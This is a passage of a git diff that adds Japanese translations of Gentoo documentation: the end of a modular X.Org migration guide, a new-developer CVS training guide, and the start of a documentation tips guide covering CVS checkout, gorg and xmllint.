+
+<note>
+モジュラー化でインストールすると、いくつかのvncアプリもnvidia-glxやwacomのような外部ドライバも、<path>/usr/lib/xorg/modules</path>の代わりに<path>/usr/lib/modules</path>に何かをインストールしていると、動作しないでしょう。
+これらのうちの多くは、インストール処理にモジュラー化Xの検知処理が追加されています。
+したがってモジュラー化Xをインストールした後に再度mergeされる必要があります。
+加えて、多くの外部ドライバには<c>dlloader</c> USEフラグがあり、
+有効にしドライバをリビルドする必要があります。
+</note>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>注意事項/よくある問題</title>
+<section>
+<title>'emerge -u world'をするとxorg-x11 6.x やvirtual/x11をインストールしようとします</title>
+<body>
+
+<p>
+まだportageツリーがモジュラー化の依存関係に修正されていないためです。
+
+<uri link="porting-modular-x-howto.xml">Portingto Modular X HowTo</uri>を読んで、
+各パッケージのメンテナにパッチを添えたバグを提出することでポーティング作業を手伝うことができます。
+メンテナはパッケージと同じディレクトリにある<path>metadata.xml</path>に記述されています。<c>herdstat</c>パッケージでメンテナをより早く検索できます。
+</p>
+
+<p>
+特にstable環境以外でモジュラー化Xを動かしている場合、これにまつわる問題に遭遇するかもしれません。
+多くのパッケージは、~archバージョンでしかモジュラー化Xとともに動作しません。
+よって、<path>/etc/portage/package.keywords</path>に別途必要なパッケージを追加する必要があるでしょう。
+</p>
+
+</body>
+</section>
+<section>
+<title>すべてのUSEフラグはどうなりましたか?</title>
+<body>
+
+<p>
+xorg-x11-6.8系での多くのUSEフラグは、7.0では廃止されたか移動になりました。
+いくつかの新しいUSEフラグが以下の理由により登場しました。
+</p>
+
+<table>
+<tr>
+	<th>USEフラグ</th>
+	<th>7.0でどうなったか</th>
+</tr>
+<tr>
+	<ti>3dfx</ti>
+	<ti>7.0では、xorg-x11 metabuildからglide-v3を取り込みます</ti>
+</tr>
+<tr>
+	<ti>3dnow、mmx、sse</ti>
+	<ti>実行時のチェックがあるので、デフォルトでビルド時に有効にされています。</ti>
+</tr>
+<tr>
+	<ti>bitmap-fonts、truetype-fonts、type1-fonts</ti>
+	<ti>
+		xorg-x11 metabuildはよく使用される小さなフォント集や必要なフォントを取り込みます。
+		他のものはすべてmedia-fonts/に追加でインストールしてください。
+	</ti>
+</tr>
+<tr>
+	<ti>cjk</ti>
+	<ti>
+		font-misc-miscやfont-sony-miscでUSE=nlsを使用すると日本語JISX0201フォントを取得します。
+		さらにはfont-jis-miscにあります。
+		中国語フォントはfont-isas-miscにあります。
+		韓国語フォントはfont-daewoo-miscにあります。
+	</ti>
+</tr>
+<tr>
+	<ti>dlloader</ti>
+	<ti>7.0はデフォルトでdlloaderを使用し、elfloaderは動作しません。</ti>
+</tr>
+<tr>
+	<ti>doc</ti>
+	<ti>app-doc/xorg-docsに移動されました</ti>
+</tr>
+<tr>
+	<ti>dmx</ti>
+	<ti>USE=minimalでなければxorg-serverに組み込まれています</ti>
+</tr>
+<tr>
+	<ti>font-server</ti>
+	<ti>手動でxfsをインストールしてください。</ti>
+</tr>
+<tr>
+	<ti>ipv6</ti>
+	<ti>これを使う個々のパッケージに移動されました。必要ならグローバルにセットしてください。</ti>
+</tr>
+<tr>
+	<ti>minimal</ti>
+	<ti>
+		同じ効果を得るには、xorg-x11ではなくxorg-serverをインストールしてください。
+		Xdmx、Xvfd、Xnestをビルドしないためにはxorg-serverでUSE=minimalを使用してください。
+		より最小構成なものが必要なら、x11-base/kdriveを調べてください。
+	</ti>
+</tr>
+<tr>
+	<ti>nls</ti>
+	<ti>7.0では、USE=nlsはフォントの非ISO885901バージョンのすべてをインストールします。</ti>
+</tr>
+<tr>
+	<ti>nocxx</ti>
+	<ti>7.0ではまだ同等ではありません</ti>
+</tr>
+<tr>
+	<ti>opengl</ti>
+	<ti>
+		xorg-serverと多くのドライバにダイレクトレンダリング機能を有効にする"dri"に名前が変更になりました。
+		USE=driの有無にかかわらず、まだMesaによるソフトウェア3Dを使うべきです。
+	</ti>
+</tr>
+<tr>
+	<ti>pam</ti>
+	<ti>xorg-serverやxdmのような、これを使用する個々のパッケージに移動されました</ti>
+</tr>
+<tr>
+	<ti>sdk</ti>
+	<ti>モジュラー化の結果として7.0はSDKをインストールしなければいけません。</ti>
+</tr>
+<tr>
+	<ti>static</ti>
+	<ti>
+		ドライバが組み込まれることはないので、モジュラー化された状況では、たいていはそれほどスタティックサーバをビルドする意味がありません。
+	</ti>
+</tr>
+<tr>
+	<ti>xprint</ti>
+	<ti>
+		metabuildにlibXpが組み込まれています。
+		他のアプリケーションではxprintサポート付でビルドされます。
+		ほとんどの人はこれを有効にしようとは思わないでしょう。
+	</ti>
+</tr>
+<tr>
+	<ti>xv</ti>
+	<ti>
+		それほどサイズを節約しないし、これを期待するいくつかのパッケージで問題が起きるので、もうオプションではありません。
+	</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>全ての設定ファイルはどうなりましたか?</title>
+<body>
+
+<p>
+GentooのX.Org 6.8パッケージでは、すべての設定ファイルやスクリプトは、/etc/X11に配置されていました。
+モジュラー化されたX.Orgでは、これらのファイルが配置される場所が変更されました。
+設定ファイルはまだ/etc/X11内にありますが、スクリプトやデフォルトの設定は今、/usr/lib/X11 (または lib64)や/usr/share/X11内にあります。
+</p>
+
+<p>
+設定の保護 (CONFIG_PROTECT)のため、おそらくX.Org 6.8からの全ての古い設定ファイルがまだ/etc/X11にあるでしょう。
+それらは、場所を取るが役に立つように見えます。
+</p>
+
+<p>
+これらのディレクトリがCONFIG_PROTECTから外れた後は、デフォルト設定に対する変更は、関係するファイルを/etc/X11にコピーし、適切な設定ファイルを更新することにより行われる事は重要です。
+代わりに、推奨されませんが、新しい場所をCONFIG_PROTECTの対象にすることはできます。
+以下に二つの例を示します。
+</p>
+
+<pre caption="XDMの初期化をカスタマイズする">
+<comment>
+最初にファイルXsetup_0を/etcにコピーしCONFIG_PROTECTの対象にします。
+</comment>
+# <i>cp -a /usr/lib/X11/xdm/Xsetup_0 /etc/X11/xdm/</i>
+<comment>
+ファイルを編集し、望みのカスタマイズを行ってください。
+</comment>
+<comment>
+xdm-configを編集し、パスがこのファイルを指すようアップデートしてください。
+</comment>
+# <i>nano /etc/X11/xdm/xdm-config</i>
+<comment>
+このファイルを編集して、
+</comment>
+	! The following three resources set up display :0 as the console.
+	DisplayManager._0.setup:        /usr/lib/X11/xdm/Xsetup_0
+	DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+	DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+<comment>
+以下のようにします。
+</comment>
+	! The following three resources set up display :0 as the console.
+	<i>DisplayManager._0.setup:        /etc/X11/xdm/Xsetup_0</i>
+	DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+	DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+</pre>
+<note>
+amd64のmultilibシステムをno-symlinksプロファイル上で用いている場合、libをlib64へ変更する必要があります。
+</note>
+
+<pre caption="app-defaults/XTerm-colorをカスタマイズする">
+<comment>
+/etc/X11内の設定ファイルで、app-defaults のパスが定義されている場所がわからなかったので、
+</comment>
+<comment>
+XTerm-colorへの変更を保護するために
+</comment>
+<comment>
+/usr/share/X11/app-defaultsをCONFIG_PROTECTの対象にします。
+</comment>
+<comment>
+/etc/make.confを編集します。
+</comment>
+# <i>nano /etc/make.conf</i>
+<comment>
+そして適切にCONFIG_PROTECTを設定します。
+</comment>
+	CONFIG_PROTECT="/usr/share/X11/app-defaults"
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>ドライバの問題</title>
+<body>
+
+<p>
+以下の報告を受けています。
+</p>
+
+<ul>
+	<li>Matroxカードでvesaドライバを使用すると固まります</li>
+	<li>vgaドライバは、4分割されたおかしな画面になります。</li>
+	<li>バイナリドライバがX.Org 7.1では動作しないことがしられています。しかし、7.0 では動作します。</li>
+</ul>
+</body>
+</section>
+<section>
+<title>再度3Dアクセラレーション機能を有効にする</title>
+<body>
+
+<p>
+ダイレクトレンダリング機能させるのに役立つデバッグ情報を見るには、以下のようにします。
+</p>
+
+<pre caption="デバッグ情報の取得">
+# <i>grep -e EE -e WW /var/log/Xorg.0.log</i>
+# <i>LIBGL_DEBUG=verbose glxinfo</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>マウスのプロトコル自動検出</title>
+<body>
+
+<p>
+マウスのためにxorg.conf<c>に"Protocol" "auto"</c>を設定している場合、それは動作しないでしょう。
+ホイールを動作させるには<c>"Protocol" "ExplorerPS/2"</c>か<c>"IMPS/2"</c>を指定する必要があるでしょう。
+</p>
+
+</body>
+</section>
+<section>
+<title>libbitmapかlibpcidataが見つからないことに関するエラーメッセージが表示されました</title>
+<body>
+
+<p>
+<path>/etc/X11/xorg.conf</path>に<c>ModulePath</c>項目が存在しないことを確認してください。
+</p>
+
+</body>
+</section>
+<section>
+<title>gdm/kdmが動作しません</title>
+<body>
+
+<p>
+新規にインストールされたGentoo上にモジュラー化Xをインストールした場合は、<path>/usr/X11R6</path> -&gt; <path>/usr</path>のシンボリックリンクがないかもしれません。
+<c>x11-base/xorg-x11</c>パッケージはemergeの処理中にシンボリックリンクの存在を確認します。
+</p>
+
+<p>
+<path>/usr/X11R6</path>にインストールするパッケージを修正してバグを提出することで、<path>/usr/X11R6</path>以外の情報を得やすくなります。
+そして、これらのパッケージを再インストールすることを忘れないで下さい。
+</p>
+
+<pre caption="/usr/X11R6にインストールされるパッケージ">
+# <i>cat ~/usr-x11r6-packages</i>
+# <i>emerge --pretend $(&lt; ~/usr-x11r6-packages )</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>XKBが動作しません、VT(仮想端末)を切り替えることができません、など</title>
+<body>
+
+<ul>
+	<li>
+		多くのXKBレイアウトは、統合されるか消去されてあちこちに散らばりました。
+		xorg.confの古いXkbLayout設定がどうなったかを確認するには<path>/usr/share/X11/xkb/symbols/</path>内を探してください。
+		例えば、旧"us_intl"レイアウトを置き換えるには<c>"XkbLayout" "latin"</c>、<c>"XkbOptions"	"lv3:ralt_switch"</c>にします。
+		旧"sk_qwerty"レイアウトを置き換えるには<c>"XkbLayout" "sk"</c>、<c>"XkbVariant"	"qwerty"</c>にします。
+		もっと上級な例では、<c>"XkbLayout" "us,sk_qwerty"</c>の設定をしているかもしれません。
+		それを動作させるには、新しい設定は<c>"XkbLayout" "us,sk"</c>になります。
+		次のようなコンマには注意を必要とする役割があります: <c>"XkbVariant" ",qwerty"</c>。
+		これはvariantを2つ目のレイアウトに適用させたい場合です。
+	</li>
+</ul>
+
+<pre caption="XKBの変更を追跡する">
+<comment>以下のメッセージがないか/var/log/Xorg.0.logをチェックしてください。</comment>
+<comment>(WW) Couldn't load XKB keymap, falling back to pre-XKB keymap</comment>
+<comment>このエラーがなければ、XKBはすでに動作しています。</comment>
+# <i>grep Xkb /etc/X11/xorg.conf</i>
+        Option "XkbModel"  "logibik"
+        Option "XkbLayout"  "dvorak"
+        Option "XkbOptions" "ctrl:swapcaps"
+<comment>最初に、レイアウトで何が変更になったかを確認してください。symbols/pcディレクトリです。</comment>
+# <i>cd /usr/share/X11/xkb/symbols/</i>
+<comment>xkeyboard-configの代わりにxkbdataがインストールされているなら、サブディレクトリpc/に移動してください。</comment>
+# <i>ls *dvorak*</i>
+<comment>はい。何も表示されません。</comment>
+<comment>多くの古いレイアウトはその国を示すキーマップに移動されました。</comment>
+# <i>ls *us*</i>
+us
+<comment>ここで、xkb_symbols用のdvorakというvariantを確認します。</comment>
+# <i>grep xkb_symbols.*dvorak us</i>
+xkb_symbols "dvorak" {
+<comment>これはxorg.confにOption "XkbLayout" "us"とOption "XkbVariant" "dvorak"が</comment>
+<comment>必要であることを意味します。</comment>
+
+<comment>しかし、setxkbmapでこれをテストしてみると、まだエラーになります。</comment>
+# <i>setxkbmap -model logibik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>たぶんモデルも変更になっています。</comment>
+# <i>cd /usr/share/X11/xkb/rules/</i>
+# <i>grep logibik xorg.lst</i>
+<comment>そのモデルはなくなったので、何も表示されません。似ているものについてはどうだろう。</comment>
+# <i>grep logi* xorg.lst</i>
+  logiaccess      Logitech Access Keyboard
+  logicdit        Logitech Cordless Desktop iTouch
+  logicdp         Logitech Cordless Desktop Pro
+  logicdpa        Logitech Cordless Desktop Pro (alternate option)
+  logicdpa2       Logitech Cordless Desktop Pro (alternate option2)
+  logicdo         Logitech Cordless Desktop Optical
+  logicfn         Logitech Cordless Freedom/Desktop Navigator
+  logicdn         Logitech Cordless Desktop Navigator
+  logidak         Logitech Deluxe Access Keyboard
+  logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+  logiik          Logitech Internet Keyboard
+  logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+  logiik          Logitech Internet Keyboard
+  logiink         Logitech Internet Navigator Keyboard
+  logiultrax      Logitech Ultra-X Keyboard
+<comment>よし、"logiik"モデルが近いようなので、setxkbmapで実際に試してみます。</comment>
+# <i>setxkbmap -model logiik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>動きました。よってXkbModelエントリをそのように変更します。</comment>
+<comment>これでうまく動作します。</comment>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>その他の問題</title>
+<body>
+
+<ul>
+	<li>
+		現在の<c>x11-base/xorg-x11</c>パッケージは、<path>/etc/X11/xorg.conf</path>からModulePathとRgbPathのすべての行が取り除かれています。
+		それら両方のパスが以前のバージョンから変更になっているためです。
+		これらの変更を行うために<c>etc-update</c>を必ず実行してください。
+		何らかの理由により、これらが取り除かれていない場合は、自分で取り除いてください。
+	</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/devrel/new-dev-training.xml b/xml/htdocs/proj/ja/devrel/new-dev-training.xml
new file mode 100644
index 00000000..cc4cb004
--- /dev/null
+++ b/xml/htdocs/proj/ja/devrel/new-dev-training.xml
@@ -0,0 +1,172 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/ja/devrel/new-dev-training.xml">
+<title>Gentoo新人開発者教育</title>
+<author title="Author">
+<mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+<author title="Author">
+<mail link="jforman@gentoo.org">Jeffrey Forman</mail>
+</author>
+<author title="翻訳">
+<mail link="ikeda@cs.comp.kyutech.ac.jp">池田 健吾</mail>
+</author>
+
+<abstract>Gentoo新人開発者向けの教育です。</abstract>
+
+<version>1.0.2</version>
+<date>24 April 2005</date>
+
+<!-- Original revision: 1.13 -->
+
+<chapter>
+<title>CVSを利用する</title>
+<section>
+<title>はじめに</title>
+<body>
+<p>このガイドをCVSの利用マニュアルにするつもりはありません。
+CVSの利用に関しては、CVS infoページや<uri>http://www.gentoo.org/doc/en/cvs-tutorial.xml</uri><uri link="http://www.gentoo.org/doc/ja/cvs-tutorial.xml">(日本語訳)</uri>を参照してください。
+代わりに、このガイドでは特にGentooのebuildツリーにおけるCVSとRepomanの利用を中心に説明していきます。
+</p>
+</body>
+</section>
+<section>
+<title>設定</title>
+<body>
+<p>普通、<path>~/.cvsrc</path>に以下の行があれば十分です。
+</p>
+
+<pre caption="~/.cvsrc">
+cvs -q -z0
+diff -u -b -B
+checkout -P
+update -d -P
+</pre>
+
+<p>ダイジェストが正しいか確認するために、<c>FEATURES</c>設定には<c>cvs</c>を設定してください。</p>
+
+<p>最後に、CVS利用者の多くは圧縮(-z#)を使うでしょう。
+ダイヤルアップ接続でない開発者は-z0を使うようお願いしています。
+CVSリポジトリの内容やCVSサーバの負荷にもよるので、圧縮しなくても速度が向上していることが実感できます。</p>
+</body>
+</section>
+<section>
+<title>チェックアウト</title>
+<body>
+<p>GentooのCVSリポジトリには有用なモジュールがいくつかあります。
+ebuildは、<path>gentoo-x86</path>モジュールに保管されています。
+<path>gentoo-src</path>モジュールには、実用的なプロジェクトから不活発なプロジェクトまで様々あります。
+<path>gentoo</path>モジュールには、Webサイト用のXML、ドキュメント、開発者のディレクトリ、開発者の画像用などがあります。
+</p>
+
+<pre caption="gentoo-x86をチェックアウトする">
+# cvs -d username@cvs.gentoo.org:/var/cvsroot co gentoo-x86
+</pre>
+
+<p>
+ツリーで作業をする前には常に、アップデートして変更をチェックし、パッケージの衝突を防ぐとよいです。
+ツリー全体をアップデートしたくなければ、ツリーの任意のサブディレクトリだけをアップデートすることもできますが、ときどきツリー全体をアップデートしてください。
+</p>
+		
+<pre caption="gentoo-x86でアップデートする">
+# cd gentoo-x86
+# cvs update
+</pre>
+
+</body>
+</section>
+<section>
+<title>追加と削除</title>
+<body>
+<p>もしapp-miscの<c>foo</c>という新しいパッケージを追加する準備ができている場合は以下の通りにします。</p>
+
+<pre caption="追加例">
+# cd CVSROOT/app-misc <comment>(CVSROOTを、あなたがチェックアウトしたCVSツリーの位置に変更してください)</comment>
+# cvs update <comment>(ツリーの一部で作業する前には必ずアップデートしてください！)</comment>
+# mkdir foo
+# cvs add foo <comment>(ここで、CVSリポジトリにfooパッケージディレクトリを追加します)</comment>
+# cd foo
+# cp /path/to/foo-1.0.ebuild ./ <comment>(あなたのCVSツリーの外側のoverlayに、作業中のebuildを保存しておくとよいでしょう)</comment>
+<comment>(ChangeLogを忘れずに作成しましょう。作成については、echangelogのmanページを参照してください)</comment>
+# ebuild foo-1.0.ebuild digest <comment>(ダイジェストを作成する場合は、PORTDIR_OVERLAYにCVSディレクトリを設定していることを確認してください)</comment>
+# cvs add foo-1.0.ebuild ChangeLog files
+# cvs add files/digest-foo-1.0 <comment>(FEATURES=autoaddcvsとするとこれをやってくれます)</comment>
+</pre>
+
+<p>また、必ずmetadata.xmlファイルにメンテナ情報を追加してください。
+詳しい情報は、<uri link="/proj/en/devrel/handbook/handbook.xml?part=2&amp;chap=4">metadata guide</uri>をご覧ください。</p>
+<p>この時点で、コミット(commit)する準備はできています(後述のセクション、コミットを参照してください)。
+でも、foo-1.1がリリースされたときにfoo-1.0を削除したい場合はどうすればよいでしょうか？</p>
+
+<pre caption="削除例">
+# cd CVSROOT/app-misc/foo
+# cvs update
+# rm foo-1.0.ebuild files/digest-foo-1.0 <comment>(まずファイルを削除しておくべきです)</comment>
+# cvs remove foo-1.0.ebuild files/digest-foo-1.0
+</pre>
+
+<p>ということで、コミットする準備ができました(後述のセクション、コミットをご覧ください)。</p>
+
+</body>
+</section>
+<section>
+<title>コミット</title>
+<body>
+<p>CVSにコミットする場合、<c>cvs commit</c>より<c>repoman commit</c>を使うほうが多いです。
+repomanは、基本的なチェックを実行し、manifestを作成する品質保証(QA)ツールです。
+もしrepomanの出力がサッパリ理解できないなら、<c>man repoman</c>を見てください。
+また、鍵のパスフレーズを繰り返し入力することにうんざりするかもしれません。
+そこで、keychain(<uri>http://www.gentoo.org/proj/en/keychain.xml</uri>)が手助けになるでしょう。</p>
+
+<pre caption="commit例">
+<comment>(repomanを実行する前に、現在のディレクトリにrootが所有するファイルが無いことを確認してください)</comment>
+# repoman scan <comment>("scan"は、現在のディレクトリに品質保証上の問題があるか調査します。"full"はさらに徹底的にやります)</comment>
+# repoman commit <comment>("commit"は、scanしてからコミットします。また、ダイジェストも更新します。詳細かつ有用なcvs changelogメッセージを利用するか確認してください)</comment>
+</pre>
+
+</body>
+</section>
+
+</chapter>
+<chapter>
+<title>雑則</title>
+<section>
+<title>mirrorにファイルを置く</title>
+<body>
+<p>新しいファイルをGentoo mirrorのdistfilesに置く手続きはとても簡単です。 
+<path>dev.gentoo.org</path>の<path>/space/distfiles-local</path>に新しいファイルをコピーしてください。</p>
+</body>
+</section>
+
+<section>
+<title>メール</title>
+<body>
+<p>開発者が自分のメールを管理できるインフラがあります。
+<uri>http://www.gentoo.org/proj/en/infrastructure/dev-email.xml</uri><uri link="http://www.gentoo.org/proj/ja/infrastructure/dev-email.xml">(日本語訳)</uri>には、@gentoo.orgメール設定の説明があります。</p>
+</body>
+</section>
+
+<section>
+<title>休暇</title>
+<body>
+<p>Gentoo開発者は休暇を取ることがよくあります。大学の試験やハネムーンでは開発から少し離れる必要があるでしょう。
+Gentooから離れた生活を過ごすのは歓迎ですが、開発から離れたこと、戻ってきたことは把握しておきたいです。
+開発から離れるときには、自分が係わっている開発グループ(例えばgentoo-releng@gentoo.orgであったりsparc@gentoo.orgであったり)に連絡してください。
+あなたが開発から離れたことをグループに知らせ、不在時にパッケージを更新する必要がある場合には彼らに連絡が行くでしょう。</p>
+<pre caption="休暇の例">
+<comment>(開発から離れるとき、あなたのhomeディレクトリで…)</comment>
+# touch ~/.away
+# echo "I've gone to the mountains, will be away from June 29 - Aug 4th, \
+contact zhen, cshields, or klieber in my absence." > ~/.away
+<comment>(訳注：「山に行ってます。7月29日から8月4日までは不在です。不在中の連絡はzhenあるいはcshieldsもしくはklieberまでお願いします」という文をechoしています)</comment>
+<comment>(これで、http://dev.gentoo.org/devawayにスクリプトによる不在通知が出ます。このページは一時間ごとに更新されます)</comment>
+
+<comment>(開発に戻るとき)</comment>
+# rm ~/.away
+</pre>
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/gdp/doc/doc-tipsntricks.xml b/xml/htdocs/proj/ja/gdp/doc/doc-tipsntricks.xml
new file mode 100644
index 00000000..06c2de15
--- /dev/null
+++ b/xml/htdocs/proj/ja/gdp/doc/doc-tipsntricks.xml
@@ -0,0 +1,289 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/gdp/doc/doc-tipsntricks.xml,v 1.4 2008/06/19 18:01:30 shindo Exp $ -->
+
+<guide link="/proj/ja/gdp/doc/doc-tipsntricks.xml">
+<title>ドキュメント開発のTips &amp; Tricks</title>
+
+<author title="Author">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="翻訳">
+    <mail link="ikeda@cs.comp.kyutech.ac.jp">池田 健吾</mail>
+</author>
+<author title="翻訳">
+    <mail link="shindo@gentoo.gr.jp">シンドウナオアキ</mail>
+</author>
+
+
+<abstract>
+Gentooドキュメント開発者の開発時間を短縮するtips &amp; tricksです。
+</abstract>
+
+<license/>
+
+<version>2</version>
+<date>2007-03-08</date>
+<!-- Original revision: 1.25 -->
+
+<chapter>
+<title>Webサイトにあるファイルをチェックアウトする</title>
+<section>
+<title>anonymous CVSを使う</title>
+<body>
+
+<p>
+翻訳作業に参加する方は<uri link="http://anoncvs.gentoo.org/">anonymous
+CVS サーバー</uri>を使ってください。Gentoo開発者が使うオフィシャルなCVSと同じファイルが格納されています。anonymous CVS リポジトリは１時間毎に更新されます。</p>
+
+<p>
+ドキュメント開発のためだけに、専用のディレクトリを作成してください。そしてWebサイトのファイルをチェックアウトしてください。</p>
+
+<pre caption="Webサイトのファイルをチェックアウトする">
+$ <i>cvs -d :pserver:anonymous@anoncvs.gentoo.org/var/cvsroot co gentoo/xml</i>
+</pre>
+
+<p>
+リポジトリのコピーを更新するためには <path>gentoo/xml</path>ディレクトリで<c>cvs update -dP</c> を実行してください。</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo 開発者向けの活動用リポジトリ</title>
+<body>
+
+<p>
+もし、まだ<c>gentoo</c>モジュールをチェックアウトしていなければ、チェックアウトしてください:
+</p>
+
+<pre caption="gentoo モジュールのチェックアウト">
+$ <i>export CVSROOT=</i><comment>&lt;your nick&gt;</comment><i>@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co gentoo/xml</i>
+</pre>
+
+<p>
+リポジトリのコピーを更新するのは、<path>gentoo/xml</path> ディレクトリで<c>cvs update -dP</c>を実行してください。</p>
+
+</body>
+</section>
+<section>
+<title>オンラインCVSリポジトリ</title>
+<body>
+
+<p>
+個別のバージョン間の違い提供するために私たちの<uri link="http://sources.gentoo.org/">オンライン CVS リポジトリ</uri>を利用することができます。中心的な英語版リポジトリは、<uri link="http://sources.gentoo.org/gentoo/xml/htdocs/doc/en/">すべて利用可能です。</uri>. オンラインCVSは一時間毎に更新されます。</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>ローカル環境をセットアップする</title>
+<section>
+<title>gorgのインストール</title>
+<body>
+
+<p>
+私たちの GuideXML ドキュメントは<uri link="http://gentoo.neysx.org/mystuff/gorg/gorg.xml">www-servers/gorg</uri>パッケージによりHTMLに変換されます。これをインストールしてください。</p>
+
+<note>
+<c>gorg-0.6.3</c>以上をインストールしてください。使っているアーキテクチャによってはkeywordが必要かもしれません。</note>
+
+<p>
+<uri link="http://gentoo.neysx.org/mystuff/gorg/gorg.xml">gorgのホームページ</uri>にしたがって、設定してください。CVSリポジトリをチェックアウトしたディレクトリ(<path>.../gentoo/xml/htdocs</path>)をWebルートとして設定する必要がありますその他のパラメーターは
+<uri link="http://www.gentoo.org">www.gentoo.org</uri>
+のローカルコピーを提供したい場合に有効です。</p>
+
+</body>
+</section>
+<section>
+<title>XML環境をセットアップする</title>
+<body>
+
+<p>
+私たちのドキュメントが使うDTDがどこで見つけられるのかシステムが知らなくてはなりません。rootになり<path>/etc/xml/catalog</path> に次の行を追加してください:
+</p>
+
+<pre caption="/etc/xml/catalog 追加行">
+&lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+<note>
+CVSからチェックアウトしたDTDへのパスへ書き換えてもかまいません。</note>
+
+<p>
+もし<path>/etc/xml/catalog</path>が空か何もエントリーがない状態であれば、 
+<c>&lt;rewriteURI&gt;</c>エレメントを<c>&lt;catalog&gt;</c>の<e>内側</e>に
+<e>挿入</e>する必要があります:
+</p>
+
+<pre caption="最低限の/etc/xml/catalog">
+&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd"&gt;
+&lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"&gt;
+  &lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>さらにいくつかのファイルでは<path>http://www.gentoo.org/dtd/guide.dtd</path>というurlのようにオンラインDTDを指定してもかまいません。これらの参照を書き換えてバリデーション中のネット越しのアクセス速度低下を避けることもできます:
+</p>
+
+<pre caption="その他の /etc/xml/catalog への追加行">
+&lt;rewriteURI uriStartString="http://www.gentoo.org/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Gentooガイドのテスト</title>
+<body>
+
+<p>
+Gentooガイドをテストするために、まず正しい(valid)XMLを使用しているかどうかチェックするために<c>xmllint</c> (<c>dev-libs/libxml2</c>にある)を使いましょう:
+</p>
+
+<pre caption="GuideXMLの正当性確認(validation)のためxmllintを使う">
+$ <i>xmllint --valid --noout alsa-guide.xml</i>
+</pre>
+
+<p>
+xmllintが目に見える形で何も返さない場合、そのファイルの構造は正当(valid)です。次にHTMLに変換する必要があります:
+</p>
+
+<pre caption="HTMLへの変換">
+$ <i>gorg &lt; alsa-guide.xml > alsa-guide.html</i>
+</pre>
+
+<p>
+もし何もエラーがなければ、ブラウザで<path>alsa-guide.html</path>を開き、変換結果のドキュメントをみてみましょう。エラーがあれば、動作するまでガイドを修正しましょう。</p>
+
+<note>
+ハンドブックの章では、他の章へのリンクは生成されないかもしれません。
+なぜならオンラインでのハンドブックアクセスはマスターファイルを経由しておこなわれ、<c>chap</c>と<c>part</c>パラメーターによるからです。</note>
+
+</body>
+</section>
+<section>
+<title>Gentoo のWebサイトのローカルコピーをブラウズする</title>
+<body>
+
+<p>
+GentooのWebサイトをCVSからチェックアウトしているので、ローカルコピーをブラウズするためにgorgを使うこともできます。もしGentooと同じフロントページにしたい場合は、<uri link="http://gentoo.neysx.org/mystuff/gorg/gorg.xml">gorgのホームページ</uri>で説明されているとおりにニュースインデックスをダウンロードしているかどうか確認してください。</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>よくある質問</title>
+<section>
+<title>ファイルをUTF-8に変換するにはどうしたらいいですか？</title>
+<body>
+
+<p>
+あなたの助けとなるツールは数多くあります。有名なものには<c>app-text/recode</c>があります。他にも<c>sys-libs/glibc</c>の一部分である<c>iconv</c>といったものもあります。</p>
+
+<p>
+Recodeの使い方はとても簡単です。ドキュメントに使われている現在の文字コードと、ドキュメントの文字コードをどれに変換するかをRecodeに伝えます。</p>
+
+<p>
+例えば、ISO-8859-15(Latin-9としても知られています)からUTF-8へ変換するためには、次のように使います:
+</p>
+
+<pre caption="ファイルを再変換する">
+<comment>(l9 = ISO-8859-15, u8 = UTF-8)</comment>
+$ <i>recode l9..u8 file.xml</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>ドキュメント提出に関するTips</title>
+<section>
+<title>&lt;guide&gt; タグが正しいことを確認する</title>
+<body>
+
+<p>
+&lt;guide link&gt; 属性がガイドの正しい場所を指しているか確認してください。大抵は<path>/doc/${LANG}/filename.xml</path>です。もし、翻訳ドキュメントの場合は、常にドキュメントへの絶対パス(たとえば<path>/doc/${LANG}/</path>)を指定してください。もし、<c>guide</c> や <c>book</c> DTDを使うようなドキュメントを書いた場合、<path>/doc/${LANG}/filename.xml</path> や <path>filename.xml</path>が使えるかもしれません。大抵の場合、GDPは前者の指定を推奨します。</p>
+
+</body>
+</section>
+<section>
+<title>リンクを確認する</title>
+<body>
+
+<p> 
